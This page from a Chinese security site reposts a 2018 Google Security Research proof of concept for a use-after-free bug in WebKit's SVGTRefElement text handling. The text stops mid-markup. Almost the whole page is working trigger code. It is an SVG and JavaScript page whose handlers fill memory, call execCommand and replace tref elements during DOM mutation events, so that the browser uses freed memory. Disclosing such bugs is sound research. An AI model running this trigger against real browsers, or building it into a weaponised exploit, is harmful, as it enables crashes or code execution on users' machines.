WebKit - 'WebCore::SVGTRefElement::updateReferencedText' Use-After-Free

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

WebKit - 'WebCore::SVGTRefElement::updateReferencedText' Use-After-Free

来源：Google Security Research 作者：Google 发布时间：2018-09-26

<script>
function freememory() {
for(var i=0;i<100;i++) {
   a = new Uint8Array(1024*1024);
}
}
function eventhandler2() {
svgvar00004.setAttribute("y", "0 1 100");
document.execCommand("justifyCenter", false);
svgvar00008.setAttribute("visibility", "hidden");
freememory()
document.createElement("q");
svgvar00007.replaceWith(svgvar00008);
}
function eventhandler4() {
svgvar00020.addEventListener("DOMNodeInserted", eventhandler2);
document.execCommand("hiliteColor", false, "red");
}
</script>
<svg id="svgvar00001">
<switch id="svgvar00004">
<tref id="svgvar00007" xlink:href="#svgvar00008" />
<tref id="svgvar00008">
<tspan id="svgvar00020" />
<use id="svgvar00029" xlink:href="#svgvar00001" onload="eventhandler4()" />

[